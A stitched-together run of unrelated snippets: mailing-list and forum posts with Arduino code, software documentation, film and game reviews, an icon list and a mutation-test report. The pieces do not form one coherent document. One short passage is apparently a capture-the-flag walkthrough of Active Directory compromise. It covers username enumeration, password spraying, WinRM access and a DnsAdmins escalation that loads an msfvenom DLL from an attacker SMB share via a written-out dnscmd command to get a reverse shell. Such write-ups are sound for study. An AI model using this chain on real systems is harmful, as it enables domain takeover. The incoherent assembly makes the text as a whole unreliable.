[gecode-users] checking consistency level
Guido Tack
tack at gecode.org
Wed Apr 17 08:47:10 CEST 2013
Hi,
unfortunately that is impossible to check (partly because the icl is only a hint, constraints are free to implement weaker consistency levels).
Cheers,
Guido
On 17/04/2013, at 5:46 AM, victor.zverovich at gmail.com wrote:
> Hi,
>
> I'm implementing an option to set consistency level for integer propagators in Gecode AMPL driver similar to the -icl option in the Gecode driver.
>
> While the option is quite straightforward to implement I was wondering how can I test it. To be more specific, suppose I have a Gecode::Space object and I post a constraint to it with some consistency level. How can I programmatically check whether a constraint has been posted with this consistency level?
>
> Thanks,
> Victor
> _______________________________________________
> Gecode users mailing list
> users at gecode.org
> https://www.gecode.org/mailman/listinfo/gecode-users
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Loaded latest Solar PV sketch Backlight flashes during load then does not light. LED's and display show correctly.
»
Archived Forum |
|
EmonGLCD BacklightSubmitted by divad on Thu, 01/11/2012 - 12:55Loaded latest Solar PV sketch Backlight flashes during load then does not light. LED's and display show correctly. » |
Re: EmonGLCD Backlight
If you read the sketch, you will see (around line 230) that the backlight brightness is dependent on several factors - time and the light falling on the light-dependent resistor sensor. Check those.
Re: EmonGLCD Backlight
Thanks Robert
Is there a way of changing the time via serial as I am not connected to the internet for real time and I have restarted it 3 times today. This is the first time I have used an Arduino.
David
Re: EmonGLCD Backlight
If you haven't got the correct time, I would simply take out the 'time' part:
That will leave the backlight on all night. (And it's probably a good idea to remove the time from the display too, if it tells lies).
If you do want the time displayed and the history to work correctly, you could write an interface to accept serial input, but I think I'd use the spare switches (you do have the emonGLCD? ) - one to increment hours with each press, and another to increment minutes. You could more or less crib the code that changes the page display, incrementing hour and minute instead and feeding the new hour and minute into line 152 (RTC.adjust( ) ) which fairly obviously takes the time as YYYY, M, D, H, M, S.
Re: EmonGLCD Backlight
Here's a serial input. It's not the most bullet-proof code, you can no doubt improve it dramatically. Input should be in the form H:MM or HH:MM
Comment out the block that begins
if (node_id == 15)
you don't need this - it's the time from the emonBase, then below the block of code that begins
if (rf12_recvDone())
(which contained the bit you've just commented out) insert this:
if (Serial.available() > 0) {
char buffer[10];
Serial.readBytesUntil('\n', buffer, 6);
if (buffer[1] == ':')
{ // format h:mm
hour = buffer[0] - 0x30;
minute = (buffer[2] - 0x30) * 10 + buffer[3] - 0x30;
}
else // format hh:mm
{
hour = (buffer[0] - 0x30) * 10 + buffer[1] - 0x30;
minute = (buffer[3] - 0x30) * 10 + buffer[4] - 0x30;
}
if (hour >= 0 && hour < 24 && minute >= 0 && minute < 60)
{
RTC.adjust(DateTime(2012, 1, 1, hour, minute, 0));
last_emonbase = millis();
}
}
Re: EmonGLCD Backlight
Thanks again Robert
I do have the emon GLCD and like the idea of setting the time by use of the buttons and will look into the code to do this then if power fails time can always be reset.
I think this is a facility the emon glcd needs.
Thanks a lot Robert
David
Re: EmonGLCD Backlight
I'm putting a system together for a friend. That does have net access, and I've implemented a button to add 1 hour (for daylight savings time). I think buttons makes more sense as it doesn't need a laptop & the back off to get at the serial connection. There's not enough free memory to do it automatically on the date!


{% load static %}
Select on a workspace to get started.
Let's launch some jobs!
This is a list of the n most recent jobs.


Qilin is a Java SDK for rapid prototyping of cryptographic protocols.
The purpose of the Qilin project is to make it easier to implement
the new cryptographic protocol you just read (or wrote) about in a recent theory paper.
To this end, the API attempts to use the concepts and language from the theory
of cryptography.
Qilin is not intended for writing the most efficient implementation of a cryptographic
protocol, or even the most secure implementation (although it does attempt to provide
reasonable efficiency and security). Instead Qilin is optimized for rapid development
and generality.
Organization
The Qilin API is separated into three conceptual "levels":
- Abstract Objects. These correspond to Java interfaces, and
appear in the root package
- Generic Implementations.These correspond to Java
generic classes (some of which are abstract),
and appear in the
generic
subpackages.
When a generic implementations uses another object,
whenever possible it uses the Abstract version of the object.
- Concrete Implementations.These correspond to Java classes that can be directly instantiated and appear in the
concrete
subpackages.
Usually the concrete implementations are thin wrappers around generic implementations.
On an orthogonal axis, the API is divided into a number of different subpackages:
- {@link qilin.primitives}: Cryptographic primitives (non-interactive).
- {@link qilin.protocols}: Cryptographic protocols. Currently only two-party protocols are supported.
- {@link qilin.comm}: The communication framework used by the protocol implementations. This package provides an abstract message-passing interface,
along with both TCP-based and queue-based implementations.
- {@link qilin.util}: Various utilities used by the other packages.
Protocol Interoperability
One of the aims of the SDK is to allow easy interoperability with other implementations
of a protocol. Thus, reliance on mechanisms that are specific to Java (such as Java's automatic
serialization) is discouraged. Places where this assumption is violated should be clearly
documented (and hopefully replaced with an interoperable version in the future).
Extending Qilin
When implementing a new primitive or protocol for the Qilin framework, please try to follow these guidelines:
- Define an interface that captures the theoretical properties of the primitive.
Note that the interface cannot capture many security properties directly; those should be specified in the documentation.
Also specify any assumptions that must be satisfied by the parameters to the inteface methods, including security assumptions
that are not checked by the compiler.
- Implement the interface with a generic class. Try to strike a good balance
between making the code as general as possible and keeping it simple
(when in doubt, go for general).
- Instantiate the generic class with a concrete class. Try to make good default
choices for the instantiation. Multiple instantiations are also possible (e.g.,
one using elliptic-curves and another using standard modular arithmetic).
Related Documentation
The Phish-Market protocol is an example of a protocol implementation using the Qilin SDK, and
is distributed with the Qilin source.
@see phishmarket


Mapping Source
This structure represents the following mapping definition:
odh.OccupationalDataForHealth maps to Composition: Language maps to language ImplicitRules maps to implicitRules Metadata.VersionId maps to meta.versionId Metadata.SourceSystem maps to meta.source Metadata.Profile maps to meta.profile Metadata.LastUpdated maps to meta.lastUpdated Metadata.SecurityLabel maps to meta.security Metadata.Tag maps to meta.tag Narrative maps to text Identifier maps to identifier Status maps to status Type maps to type Category maps to category FocalSubject maps to subject CareContext maps to encounter StatementDateTime maps to date Author maps to author Title maps to title ConfidentialityCode maps to confidentiality Attestation.AttestationMode maps to attester.mode Attestation.CreationDateTime maps to attester.time Attestation.Attester maps to attester.party ManagingOrganization maps to custodian RelatedDocument.Relationship maps to relatesTo.code RelatedDocument.TargetDocument maps to relatesTo.target[x] EventContext.Code maps to event.code EventContext.TimePeriod maps to event.period EventContext.SupportingInformation maps to event.detail OccupationalDataSection maps to section (slice on = code.coding.code; slice strategy = includes) OccupationalDataSection.Title maps to section.title OccupationalDataSection.Code maps to section.code OccupationalDataSection.Author maps to section.author OccupationalDataSection.FocalSubject maps to section.focus OccupationalDataSection.Narrative maps to section.text OccupationalDataSection.Type maps to section.mode OccupationalDataSection.SortOrder maps to section.orderedBy // terrible FHIR name! OccupationalDataSection.Resource maps to section.entry (slice on = reference.resolve(); slice on type = profile; slice strategy = includes) OccupationalDataSection.EmptyReason maps to section.emptyReason OccupationalDataSection.Section maps to section.section


---
title: Firefox
category: Desktop
order: 1
---
Did you mean Firefox Mobile instead?
Installing our add-on:
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STRIPStream 1.0 documentation
Index
Contents
Index
_
|
A
|
C
|
E
|
F
|
G
|
I
|
L
|
M
|
N
|
O
|
S
|
W
_
__call__() (stripstream.pddl.logic.predicates.EasyFunction method)
(stripstream.pddl.logic.predicates.EasyPredicate method)
A
Action (class in stripstream.pddl.operators)
And (class in stripstream.pddl.logic.connectives)
AtomN (class in stripstream.algorithms.focused.simple_focused)
Axiom (class in stripstream.pddl.operators)
C
compile_problem() (in module stripstream.pddl.examples.continuous_tamp.continuous_tamp)
(in module stripstream.pddl.examples.countable_tamp.countable_tamp)
Cost (class in stripstream.pddl.logic.atoms)
cost (stripstream.algorithms.focused.simple_focused.AtomN attribute)
(stripstream.algorithms.focused.simple_focused.StreamN attribute)
create_problem() (in module scripts.run_tutorial)
E
EasyFnStream (class in stripstream.pddl.cond_streams)
EasyFunction (class in stripstream.pddl.logic.predicates)
EasyGenStream (class in stripstream.pddl.cond_streams)
EasyParameter (class in stripstream.pddl.objects)
EasyPredicate (class in stripstream.pddl.logic.predicates)
EasyTestStream (class in stripstream.pddl.cond_streams)
EasyType (class in stripstream.pddl.objects)
Equal (class in stripstream.pddl.logic.atoms)
Exists (class in stripstream.pddl.logic.quantifiers)
F
ForAll (class in stripstream.pddl.logic.quantifiers)
G
get_bfs() (in module stripstream.algorithms.search.bfs)
get_fast_downward() (in module stripstream.algorithms.search.fast_downward)
I
incremental_planner() (in module stripstream.algorithms.incremental.incremental_planner)
L
level (stripstream.algorithms.focused.simple_focused.AtomN attribute)
(stripstream.algorithms.focused.simple_focused.StreamN attribute)
M
main() (in module scripts.run_tutorial)
N
Not (class in stripstream.pddl.logic.connectives)
O
Or (class in stripstream.pddl.logic.connectives)
S
scripts.run_tutorial (module)
stream (stripstream.algorithms.focused.simple_focused.AtomN attribute)
StreamN (class in stripstream.algorithms.focused.simple_focused)
STRIPSAction (class in stripstream.pddl.operators)
STRIPSAxiom (class in stripstream.pddl.operators)
stripstream (module)
stripstream.algorithms (module)
stripstream.algorithms.focused (module)
stripstream.algorithms.focused.simple_focused (module)
stripstream.algorithms.incremental (module)
stripstream.algorithms.incremental.incremental_planner (module)
stripstream.algorithms.search (module)
stripstream.algorithms.search.bfs (module)
stripstream.algorithms.search.fast_downward (module)
stripstream.pddl (module)
stripstream.pddl.cond_streams (module)
stripstream.pddl.examples (module)
stripstream.pddl.examples.continuous_tamp (module)
stripstream.pddl.examples.continuous_tamp.continuous_tamp (module)
stripstream.pddl.examples.countable_tamp (module)
stripstream.pddl.examples.countable_tamp.countable_tamp (module)
stripstream.pddl.logic (module)
stripstream.pddl.logic.atoms (module)
stripstream.pddl.logic.connectives (module)
stripstream.pddl.logic.predicates (module)
stripstream.pddl.logic.quantifiers (module)
stripstream.pddl.objects (module)
stripstream.pddl.operators (module)
W
When (class in stripstream.pddl.logic.connectives)
Contents


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Bowl a perfect game in the funny, free Alfonzo's Bowling Challenge
by Tom SykesYou don't need polygons or voice acting to make a great comedy game, as Alfonzo's Bowling Challenge aptly illustrates. It's a silly, funny, free browser game that's about bowling and (wink wink) absolutely nothing else. In it, you lift and slide a bowling ball around a bunch of cluttered stages, in response to challenges set by Alfonzo. As I cleared each level, and saw what the next had in store for me, a huge smile would invariably spread over my face.
That was thanks to the dialogue and the pixel art, mainly. Alfonzo's winning expressions as he reacted to my performance, and the increasing ridiculousness of the text that appeared on-screen. But it was also down to the chirpily catchy, jazzy background muzak, which reminded me a little of the distinctive Wii eShop music.
Alfonzo's Bowling Challenge lasts for around ten minutes. The nonsense progresses beautifully, culminating in...well, I won't spoil it, but like the best games it doesn't overstay its welcome. Give this a play if you like Frog Fractions, and other silly, surprising games. (Thanks, IndieGamesPlus.)
For more great free experiences, check out our roundup of the best free PC games.


v=L· ∆i/∆t
-
v
is voltage across an inductor (coil of wire)
-
L
is the inductance of the inductor
-
∆i/∆t
is change in current over change in time
Vp/Vs=Np/Ns
-
Vp, Vs
are voltages on primary and secondary coils
-
Np, Ns
are number of turns on primary and secondary coils


MULAN (Disney) Voices: Ming-Na Wen, B. D. Wong, Eddie Murphy, Miguel Ferrer, Soon-Tek Oh, James Hong, Pat Morita, Harvey Fierstein. Screenplay: Rita Hsiao, Christopher Sanders, Philip LaZebnik, Raymond Singer & Eugenia Bostwick-Singer. Producer: Pam Coats. Directors: Barry Cook and Tony Bancroft. MPAA Rating: G (mild cartoon violence) Running Time: 90 minutes. Reviewed by Scott Renshaw.
Perhaps, for the first time in a decade, the pressure is off. Ever since THE LITTLE MERMAID re-vitalized Disney's animation efforts in 1989, the studio's annual animated feature has been one of the year's most scrutinized releases. After steadily increasing grosses from BEAUTY AND THE BEAST and ALADDIN, the stakes were raised even higher when THE LION KING became a $300 million blockbuster. Then came POCAHONTAS, THE HUNCHBACK OF NOTRE DAME and HERCULES, which made "only" $350 million between them, leading wags to wonder whether the Mouse had lost its touch. They'd gotten too "politically correct," came the analysis, or too dark. They'd strayed from the successful formulas which had filled the seats with youngsters and sent tie-in products scurrying off the shelves.
Now that no one expects $300 million every time out of the gate, maybe Disney will get the credit it is due for pushing the limits of animated film-making. MULAN defies convention yet again, bypassing the well-trodden ground of Western literature and mythology to tell a 2,000-year-old tale from Chinese legend. The title character (Ming-Na Wen) is a less-than-demure young girl who seems destined for an uncertain place in Imperial Chinese society when she fails the tests of the local matchmaker (Miriam Margolyes). Then the empire is threatened by an invading Hun army led by Shan-Yu (Miguel Ferrer), leading the emperor (Pat Morita) to call on every family to provide one male for military service. With her aging, lame father Fa Zhou (Soon-Tek Oh) as the only male family member, Mulan decides to honor her family in a different way by disguising herself as a man and joining the army. Accompanied by a disgraced, redemption-hungry dragon guardian named Mushu (Eddie Murphy), Mulan sets out to find her destiny in battle, and perhaps fall for her commanding officer Li Shang (B. D. Wong) along the way.
The "YENTL goes to China" plot line is basic Disney stuff on a certain level -- yearning young protagonist, societal restrictions, complicated romance, lessons in personal growth and tolerance of individuality all around. It's a bit surprising then to find the set-up as drawn-out as it is in MULAN. Though there's a bit of comic relief in the bumbling encounter with the matchmaker, the first half hour is largely devoted to character development and motivation -- good things on general principle, of course, but over-indulged here to contribute to an extremely slow start. It doesn't help that the early songs by David Zippel and Matthew Wilder -- yes, the same Matthew Wilder of "Break My Stride" fame -- are the kind of uninspired post-Howard Ashman ditties which make you wish someone could get over the Broadway musical paradigm for animated features. That opening 25-minute stretch is plenty earnest, but it's hardly confidence-inspiring.
When MULAN finally does hit its own stride, beginning with the visually striking sequence in which Mulan leaves home, it's a solid and energetic piece of work. The script incorporates comic relief into its redemption story much better than POCAHONTAS or HUNCHBACK wedged in its token gags, providing a fine showcase for Eddie Murphy's fast-talking dragon and Harvey Fierstein's entertainingly incongruous voicing of a he-man soldier. The musical numbers also pick up steam in the second half of the film, perhaps not providing break-out hummable hits but at least setting a firm musical tone. Mostly, however, the film becomes a dazzling adventure, highlighted by a spectacular battle sequence between Huns and Chinese soldiers in a snowy mountain pass. By the time the sharply-paced climactic confrontation rolls around, with its balanced doses of humor and suspense, you may have forgotten MULAN's less-than-stellar start.
I suppose what gives MULAN an added kick are the touches which stray from familiar Disney patterns. Notably, the villainous Shan-Yu remains in the background for most of the film as a mysterious genuine threat -- no comic sidekicks, no songs, no glib one-liners. That leaves more time to develop Mulan's resourcefulness, creating a smart and savvy heroine who happens to be an Asian woman, a rarity not just in animated films but in films of any kind. This may not be the kind of cuddly, inviting film of which stuffed animal sales and video buying binges are made; indeed, it may be over the head of kids much younger than 7 or 8. Fact is, it doesn't exactly warrant that ubiquitous Disney label of "masterpiece." Sometimes you're going to take a few false steps when you make a choice not merely to follow the old steps.
On the Renshaw scale of 0 to 10 MULAN ruses: 7.
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Reactive DDD with Akka
This sample e-commerce system has unique set of properties. It is:
All these capabilities are obviously supported by the underlying technology stack, which includes:
Akka - actor-based, reactive middleware implemented in Scala,
Akka HTTP - HTTP server build upon Akka Stream (Akka's implementation of Reactive Streams Specification),
Akka Persistence - infrastructure for building durable (event sourced) actors, which has a pluggable journal,
Event Store - scalable, highly available event store with akka-persistence journal implementation. Provides engine for running user-defined projections (javascript functions) over single or multiple event streams. Projections allow the system to group or combine events into new event streams that can represent domain-level journals such as office journals (events grouped by emitter (Aggregate Root
) class) or business process journals (events related to concrete business process). Domain journals are topic of interest for services such as:
Both view uppdaters and receptors are operating within non-blocking back-pressured event processing pipeline
Akka-DDD - framework containing glue-code and all building blocks
The system currently consists of the following subsystems:
Each subsystem is divided into write and read side, each side containing back-end and front-end application:
Backend cluster node hosting Aggregate Roots
, Receptors
and Process Managers (Sagas)
.
HTTP server forwarding commands to backend cluster.
View update service that consumes events from event store and updates view store (PostgreSQL database).
HTTP server providing rest endpoint for accessing view store.


I challenged myself to test out an idea for a informational site on a technical thing, Electron, that tried to be as concise and plainly worded as I could get it. So here's Essential Electron, something I'll keep tweaking!
Technical documentation can be long, jargon-heavy and hard to know where to begin with. I think having detailed documentation is good in general, but I felt there was a place for something simpler and took you from top to bottom on the topic in one go.
I set out last week to try and see what this idea might look like, which resulted in Essential Electron. It was an interesting challenge because I had to think about everything I wrote: is this essential, is this a new word or concept worth learning or is it jargon that can be expanded? And cut, cut, cut. I tried to use these guidelines:
- Main section should be 2-3 sentences.
- New concepts/words defined.
- Jargon replaced with expanded phrasing.
- Graphic added when applicable.
- Links for more information provided in each section.
I wanted to take people through the flow of learning what Electron is, what development is like and how to get started, while remaining high-level. Someone should be able to go through each of the sections and only read the large text and still get a good sense of what Electron is. If a word or concept is new they can check the definitions. If a particular section is of interest they can use the resources to get more information.
I pulled and tweaked some graphics from a previous workshop I'd done to help illustrate this points. I'm pretty happy with the experiment though I have some more ideas and will keep refining this. Hope it turns out useful to some!
- Site: jlord.us/essential-electron
- Repository: gh/jlord/essential-electron


account
activate-breakpoints
add
archive
arrow-both
arrow-down
arrow-left
arrow-right
arrow-small-down
arrow-small-left
arrow-small-right
arrow-small-up
arrow-swap
arrow-up
azure-devops
azure
beaker-stop
beaker
bell-dot
bell
bold
book
bookmark
bracket-dot
bracket-error
briefcase
broadcast
browser
bug
calendar
call-incoming
call-outgoing
case-sensitive
check-all
check
checklist
chevron-down
chevron-left
chevron-right
chevron-up
chrome-close
chrome-maximize
chrome-minimize
chrome-restore
circle-filled
circle-large-filled
circle-large-outline
circle-outline
circle-slash
circuit-board
clear-all
clippy
close-all
close
cloud-download
cloud-upload
cloud
code
collapse-all
color-mode
combine
comment-discussion
comment
compass-active
compass-dot
compass
copy
credit-card
dash
dashboard
database
debug-all
debug-alt-small
debug-alt
debug-breakpoint-conditional-unverified
debug-breakpoint-conditional
debug-breakpoint-data-unverified
debug-breakpoint-data
debug-breakpoint-function-unverified
debug-breakpoint-function
debug-breakpoint-log-unverified
debug-breakpoint-log
debug-breakpoint-unsupported
debug-console
debug-continue-small
debug-continue
debug-coverage
debug-disconnect
debug-line-by-line
debug-pause
debug-rerun
debug-restart-frame
debug-restart
debug-reverse-continue
debug-stackframe-active
debug-stackframe-dot
debug-stackframe
debug-start
debug-step-back
debug-step-into
debug-step-out
debug-step-over
debug-stop
debug
desktop-download
device-camera-video
device-camera
device-mobile
diff-added
diff-ignored
diff-modified
diff-removed
diff-renamed
diff
discard
edit
editor-layout
ellipsis
empty-window
error
exclude
expand-all
export
extensions
eye-closed
eye
feedback
file-binary
file-code
file-media
file-pdf
file-submodule
file-symlink-directory
file-symlink-file
file-zip
file
files
filter-filled
filter
flame
fold-down
fold-up
fold
folder-active
folder-library
folder-opened
folder
gear
gift
gist-secret
gist
git-commit
git-compare
git-merge
git-pull-request-closed
git-pull-request-create
git-pull-request-draft
git-pull-request
github-action
github-alt
github-inverted
github
globe
go-to-file
grabber
graph-left
graph-line
graph-scatter
graph
gripper
group-by-ref-type
heart
history
home
horizontal-rule
hubot
inbox
info
inspect
issue-draft
issue-reopened
issues
italic
jersey
json
kebab-vertical
key
law
layers-active
layers-dot
layers
layout
library
lightbulb-autofix
lightbulb
link-external
link
list-filter
list-flat
list-ordered
list-selection
list-tree
list-unordered
live-share
loading
location
lock-small
lock
magnet
mail-read
mail
markdown
megaphone
mention
menu
merge
milestone
mirror
mortar-board
move
multiple-windows
mute
new-file
new-folder
newline
no-newline
note
notebook-template
notebook
octoface
open-preview
organization
output
package
paintcan
pass-filled
pass
person-add
person
pie-chart
pin
pinned-dirty
pinned
play-circle
play
plug
preserve-case
preview
primitive-square
project
pulse
question
quote
radio-tower
reactions
record-keys
record
redo
references
refresh
regex
remote-explorer
remote
remove
replace-all
replace
reply
repo-clone
repo-force-push
repo-forked
repo-pull
repo-push
repo
report
request-changes
rocket
root-folder-opened
root-folder
rss
ruby
run-above
run-all
run-below
run-errors
save-all
save-as
save
screen-full
screen-normal
search-stop
search
server-environment
server-process
server
settings-gear
settings
shield
sign-in
sign-out
smiley
sort-precedence
source-control
split-horizontal
split-vertical
squirrel
star-empty
star-full
star-half
stop-circle
symbol-array
symbol-boolean
symbol-class
symbol-color
symbol-constant
symbol-enum-member
symbol-enum
symbol-event
symbol-field
symbol-file
symbol-interface
symbol-key
symbol-keyword
symbol-method
symbol-misc
symbol-namespace
symbol-numeric
symbol-operator
symbol-parameter
symbol-property
symbol-ruler
symbol-snippet
symbol-string
symbol-structure
symbol-variable
sync-ignored
sync
table
tag
tasklist
telescope
terminal-bash
terminal-cmd
terminal-debian
terminal-linux
terminal-powershell
terminal-tmux
terminal-ubuntu
terminal
text-size
three-bars
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tools
trash
triangle-down
triangle-left
triangle-right
triangle-up
twitter
type-hierarchy-sub
type-hierarchy-super
type-hierarchy
unfold
ungroup-by-ref-type
unlock
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unverified
variable-group
verified-filled
verified
versions
vm-active
vm-connect
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vm
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window
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workspace-trusted
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zoom-in
zoom-out


{{ partial "header.html" . }} {{ partial "cover.html" . }}
Forms backend can handle all your form submissions, all you have to crate a unique name for your form and start sending data to it
Know More ⟶Forms backend can handle all your form submissions, all you have to crate a unique name for your form and start sending data to it
Coming Soon


Most of the CFITSIO routines have both a short name as well as a longer descriptive name. The short name is only 5 or 6 characters long and is similar to the subroutine name in the Fortran-77 version of FITSIO. The longer name is more descriptive and it is recommended that it be used instead of the short name to more clearly document the source code.
Many of the CFITSIO routines come in families which differ only in the data type of the associated parameter(s). The data type of these routines is indicated by the suffix of the routine name. The short routine names have a 1 or 2 character suffix (e.g., 'j' in 'ffpkyj') while the long routine names have a 4 character or longer suffix as shown in the following table:
Long Short Data Names Names Type ----- ----- ---- _bit x bit _byt b unsigned byte _sbyt sb signed byte _sht i short integer _lng j long integer _lnglng jj 8-byte LONGLONG integer (see note below) _usht ui unsigned short integer _ulng uj unsigned long integer _uint uk unsigned int integer _int k int integer _flt e real exponential floating point (float) _fixflt f real fixed-decimal format floating point (float) _dbl d double precision real floating-point (double) _fixdbl g double precision fixed-format floating point (double) _cmp c complex reals (pairs of float values) _fixcmp fc complex reals, fixed-format floating point _dblcmp m double precision complex (pairs of double values) _fixdblcmp fm double precision complex, fixed-format floating point _log l logical (int) _str s character string
The logical data type corresponds to `int' for logical keyword values, and `byte' for logical binary table columns. In other words, the value when writing a logical keyword must be stored in an `int' variable, and must be stored in a `char' array when reading or writing to `L' columns in a binary table. Implicit data type conversion is not supported for logical table columns, but is for keywords, so a logical keyword may be read and cast to any numerical data type; a returned value = 0 indicates false, and any other value = true.
The `int' data type may be 2 bytes long on some old PC compilers, but otherwise it is nearly always 4 bytes long. Some 64-bit machines, like the Alpha/OSF, define the `short', `int', and `long' integer data types to be 2, 4, and 8 bytes long, respectively.
Because there is no universal C compiler standard for the name of the 8-byte integer datatype, the fitsio.h include file typedef's 'LONGLONG' to be equivalent to an appropriate 8-byte integer data type on each supported platform. For maximum software portability it is recommended that this LONGLONG datatype be used to define 8-byte integer variables rather than using the native data type name on a particular platform. On most 32-bit Unix and Mac OS-X operating systems LONGLONG is equivalent to the intrinsic 'long long' 8-byte integer datatype. On 64-bit systems (which currently includes Alpha OSF/1, 64-bit Sun Solaris, 64-bit SGI MIPS, and 64-bit Itanium and Opteron PC systems), LONGLONG is simply typedef'ed to be equivalent to 'long'. Microsoft Visual C++ Version 6.0 does not define a 'long long' data type, so LONGLONG is typedef'ed to be equivalent to the '__int64' data type on 32-bit windows systems when using Visual C++.
A related issue that affects the portability of software is how to print out the value of a 'LONGLONG' variable with printf. Developers may find it convenient to use the following preprocessing statements in their C programs to handle this in a machine-portable manner:
#if defined(_MSC_VER) /* Microsoft Visual C++ */ printf("%I64d", longlongvalue); #elif (USE_LL_SUFFIX == 1) printf("%lld", longlongvalue); #else printf("%ld", longlongvalue); #endif
Similarly, the name of the C utility routine that converts a character string of digits into a 8-byte integer value is platform dependent:
#if defined(_MSC_VER) /* Microsoft Visual C++ */ /* VC++ 6.0 does not seem to have an 8-byte conversion routine */ #elif (USE_LL_SUFFIX == 1) longlongvalue = atoll(*string); #else longlongvalue = atol(*string); #endif
When dealing with the FITS byte data type it is important to remember that the raw values (before any scaling by the BSCALE and BZERO, or TSCALn and TZEROn keyword values) in byte arrays (BITPIX = 8) or byte columns (TFORMn = 'B') are interpreted as unsigned bytes with values ranging from 0 to 255. Some C compilers define a 'char' variable as signed, so it is important to explicitly declare a numeric char variable as 'unsigned char' to avoid any ambiguity
One feature of the CFITSIO routines is that they can operate on a `X' (bit) column in a binary table as though it were a `B' (byte) column. For example a `11X' data type column can be interpreted the same as a `2B' column (i.e., 2 unsigned 8-bit bytes). In some instances, it can be more efficient to read and write whole bytes at a time, rather than reading or writing each individual bit.
The complex and double precision complex data types are not directly supported in ANSI C so these data types should be interpreted as pairs of float or double values, respectively, where the first value in each pair is the real part, and the second is the imaginary part.


{% for message in messages %}
{{ message }}
{% endfor %}
We accept at any time submissions from individuals or groups with innovative ideas, regardless their stage, who would like to benefit from the services of the OK!Thess pre-incubator in order to set up a startup business or accelarate the one that they already have set up.
Proposals shall be evaluated at regular intervals, the exact dates are being announced on this website.
The current submission period closes on September the 13th 2017. Results will be announced on September the 19th 2017. The incubation period starts with a compulsory bootcamp that starts on the 2nd and lasts until the 13th of October.
To participate, you either fill in the following form, or just answer the questions in the body of an e-mail and send it to<EMAIL_ADDRESS>{% endblocktrans %} {% trans 'Information - GR' %}{% trans '{{ application_content|safe }}


Constructors¶
Let’s see how to use the extended constructors available through eemont!
Before anything, let’s import our modules and authenticate in Google Earth Engine:
import ee, eemont
ee.Authenticate()
ee.Initialize()
Now, we are ready to go!
Overview¶
The eemont package extends the ee.Geometry, ee.Feature and ee.FeatureCollection classes with the following constructors:
ee.Geometry¶
|
Constructs an ee.Geometry describing a bounding box from a query submitted to a geodocer using the geopy package. |
|
Constructs an ee.Geometry describing a point from a query submitted to a geodocer using the geopy package. |
|
Constructs an ee.Geometry describing a multi-point from a query submitted to a geodocer using the geopy package. |
ee.Feature¶
|
Constructs an ee.Feature describing a bounding box from a query submitted to a geodocer using the geopy package. |
|
Constructs an ee.Feature describing a point from a query submitted to a geodocer using the geopy package. |
ee.FeatureCollection¶
|
Constructs an ee.Feature describing a point from a query submitted to a geodocer using the geopy package. |
Usage¶
Constructors By Query¶
The constructors by query use the geopy package to construct geometries, features and feature collections.
The simplest geometry to construct is the Point, and can be constructed for ee.Geometry and ee.Feature classes;
geometry = ee.Geometry.PointFromQuery('Cali, Colombia',user_agent = 'eemont-user-guide-constructors')
feature = ee.Feature.PointFromQuery('Cali, Colombia',user_agent = 'eemont-user-guide-constructors')
It has to be noted that the user_agent
argument is mandatory and it can be set to any string representing the app or the GEE username.
Warning
If the user_agent
argument is not defined, the constructor will raise an Exception.
By default, to geocode the query, the Nominatim geocoder is used. If required, this parameter can be modified:
geometry = ee.Geometry.PointFromQuery('Cali, Colombia',geocoder = 'arcgis',user_agent = 'eemont-user-guide-constructors')
The second geometry to construct is the MultiPoint, and can be constructed for ee.Geometry and ee.FeatureCollection classes:
geometry = ee.Geometry.MultiPointFromQuery('Colombia',user_agent = 'eemont-user-guide-constructors')
feature_collection = ee.FeatureCollection.MultiPointFromQuery('Colombia',user_agent = 'eemont-user-guide-constructors')
Note
When a query is submitted, a set of locations is retrieved. The MultiPoint constructors create a class taking all locations into account. The Point constructors just take the first one.
The last geometry to construct is the Bounding Box, and can be constructed for ee.Geometry and ee.Feature classes:
geometry = ee.Geometry.BBoxFromQuery('Europe',user_agent = 'eemont-user-guide-constructors')
feature = ee.Feature.BBoxFromQuery('Europe',user_agent = 'eemont-user-guide-constructors')
Note
When using constructors for ee.Feature and ee.FeatureCollection classes, the raw properties of the location, or locations, are set for the feature or feature collection.


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Run enum4linux script and find the usernames there, a username has a comment about a password, take all usernames and try against smbshare with that password, the username melanie with the password will work, now use winrm and connect and grab user.txt.
Now I find the user ryan has used as a parameter to cmd.exe and then I login as ryan. After that I see a note saying that dues to change freeze, any system changes will be automatically reverted within 1 minute.
I see the groups and there is a group DnsAdmins
. I had read this post https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/from-dnsadmins-to-system-to-domain-compromise
. I create a dll using msfvenom, and then I use impacket-smbserver and then use dnscmd <IP_ADDRESS> /config /serverlevelplugindll \\<IP_ADDRESS>\gis\dnsprivesc.dll
and then stop and start the dns. And get reverse shell.


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--- title: "Here comes another bubble" layout: post ---
Via Scott Hanselman ... fabulous! Thank you to The Richter Scales for this.


| 1 | package app.cmd; | |
| 2 | ||
| 3 | import app.MyImage; | |
| 4 | import java.awt.Rectangle; | |
| 5 | import java.awt.geom.Ellipse2D; | |
| 6 | import tools.TwoPoint; | |
| 7 | ||
| 8 | /** | |
| 9 | * | |
| 10 | * CMD implementation that draws an ellipse on call. | |
| 11 | */ | |
| 12 | public class DrawEllipse implements CMD { | |
| 13 | ||
| 14 | /** | |
| 15 | * | |
| 16 | * Draws an ellipse based on area's getRectagnle() to MyImage object.<br> | |
| 17 | * Due to Graphics2D draw method it may not paint very small areas like 1x1. | |
| 18 | * @param img Target to be drawn on. | |
| 19 | * @param area information on where to draw. | |
| 20 | */ | |
| 21 | @Override | |
| 22 | public void execute(MyImage img, TwoPoint area) { | |
| 23 | Rectangle r = area.getRectangle(); | |
| 24 |
1
1. execute : removed call to java/awt/Graphics2D::draw → KILLED |
img.getGraphics().draw(new Ellipse2D.Float(r.x, r.y, |
| 25 | r.width, r.height)); | |
| 26 | } | |
| 27 | ||
| 28 | } | |
Mutations | ||
| 24 |
1.1 |


Implement your algorithm in your favorite programming language, just like you would normally.
Next step is to capture events that will drive your visualization. You can use one of our libraries (C/C++, Python, Java), or do it manually.
AVY(start); // Start a new avy file vector<int> list; for (int i = 0; i < 10; i++) { AVY(step); // Step in the animation list.push_back(i); AVY(list.add, P(i)); // Tell avy that we added i to the list }
avy('start') # Start a new avy file list = [] for i in range(10): avy('step') # Step in the animation list.append(i) avy('list.add', i) # Tell avy that we added i to the list
Avy.cmd("start"); // Start a new avy file ArrayList<Integer> list = new ArrayList<Integer>(); for (int i = 0; i < 10; i++) { Avy.cmd("step"); // Step in the animation list.add(i); Avy.cmd("list.add", i); // Tell avy that we added i to the list } Avy.close(); // Make sure all files are closed correctly
